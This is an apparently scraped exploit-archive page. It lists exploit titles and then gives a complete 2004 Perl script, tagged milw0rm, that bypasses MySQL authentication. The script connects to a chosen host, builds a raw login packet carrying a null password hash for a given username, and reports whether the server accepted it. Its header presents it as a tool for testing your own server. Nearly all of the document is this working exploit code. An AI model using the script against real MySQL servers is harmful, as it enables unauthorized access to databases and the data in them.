
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
142 lines
3.4 KiB
Perl
Executable file
142 lines
3.4 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
#
|
|
# The script connects to MySQL and attempts to log in using a zero-length password
|
|
# Based on the vuln found by NGSSecurity
|
|
#
|
|
# The following Perl script can be used to test your version of MySQL. It will display
|
|
# the login packet sent to the server and it's reply.
|
|
#
|
|
# Exploit copyright (c) 2004 by Eli Kara, Beyond Security
|
|
# elik beyondsecurity com
|
|
#
|
|
use strict;
|
|
use IO::Socket::INET;
|
|
|
|
usage() unless ((@ARGV >= 1) || (@ARGV <= 3));
|
|
|
|
my $username = shift(@ARGV);
|
|
my $host = shift(@ARGV);
|
|
if (!$host)
|
|
{
|
|
usage();
|
|
}
|
|
my $port = shift(@ARGV);
|
|
if (!$port)
|
|
{
|
|
$port = 3306; print "Using default MySQL port (3306)\n";
|
|
}
|
|
|
|
# create the socket
|
|
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
|
|
$socket or die "Cannot connect to host!\n";
|
|
|
|
# receive greeting
|
|
my $reply;
|
|
recv($socket, $reply, 1024, 0);
|
|
if (length($reply) < 7)
|
|
{
|
|
print "Not allowed to connect to MySQL!\n";
|
|
exit(1);
|
|
}
|
|
print "Received greeting:\n";
|
|
HexDump($reply);
|
|
print "\n";
|
|
|
|
# here we define the login OK reply
|
|
# my $login_ok = "\x01\x00\x00\x02\xFE";
|
|
|
|
# break the username string into chars and rebuild it
|
|
my $binuser = pack("C*", unpack("C*", $username));
|
|
|
|
# send login caps packet with password
|
|
my $packet = "\x85\xa6".
|
|
"\x03\x00\x00".
|
|
"\x00".
|
|
"\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
|
|
"\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash
|
|
|
|
substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1)
|
|
|
|
print "Sending caps packet:\n";
|
|
HexDump($packet);
|
|
print "\n";
|
|
send $socket, $packet, 0;
|
|
|
|
# receive reply
|
|
recv($socket, $reply, 1024, 0);
|
|
print "Received reply:\n";
|
|
HexDump($reply);
|
|
|
|
my @list_bytes = unpack("C*", $reply);
|
|
|
|
#print "The fifth byte is: ", $list_bytes[4], "\n";
|
|
if (length(@list_bytes) >= 4)
|
|
{
|
|
print "Response insufficent\n";
|
|
}
|
|
|
|
#if ($reply eq $login_ok)
|
|
if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
|
|
{
|
|
print "Received OK reply, authentication successful!!\n";
|
|
}
|
|
else
|
|
{
|
|
print "Authentication failed!\n";
|
|
}
|
|
|
|
# close
|
|
close($socket);
|
|
|
|
|
|
sub usage
|
|
{
|
|
# print usage information
|
|
print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n
|
|
<username> - The DB username to authenticate as
|
|
<host> - The host to connect to
|
|
[port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
|
|
exit(1);
|
|
}
|
|
|
|
|
|
###
|
|
# do a hexdump of a string (assuming it's binary)
|
|
###
|
|
sub HexDump
|
|
{
|
|
my $buffer = $_[0];
|
|
|
|
# unpack it into chars
|
|
my @up = unpack("C*", $buffer);
|
|
my $pos=0;
|
|
|
|
# calculate matrix sizes
|
|
my $rows = int(@up/16);
|
|
my $leftover = int(@up%16);
|
|
|
|
for( my $row=0; $row < $rows ; $row++, $pos+=16)
|
|
{
|
|
printf("%08X\t", $pos);
|
|
my @values = @up[$pos .. $pos+15];
|
|
my @line;
|
|
foreach my $val (@values)
|
|
{
|
|
push(@line, sprintf("%02X", $val));
|
|
}
|
|
print join(' ', @line), "\n";
|
|
}
|
|
# print last line
|
|
printf("%08X\t", $pos);
|
|
my @values = @up[$pos .. $pos+$leftover-1];
|
|
my @line;
|
|
foreach my $val (@values)
|
|
{
|
|
push(@line, sprintf("%02X", $val));
|
|
}
|
|
print join(' ', @line), "\n";
|
|
}
|
|
|
|
# milw0rm.com [2004-07-10]
|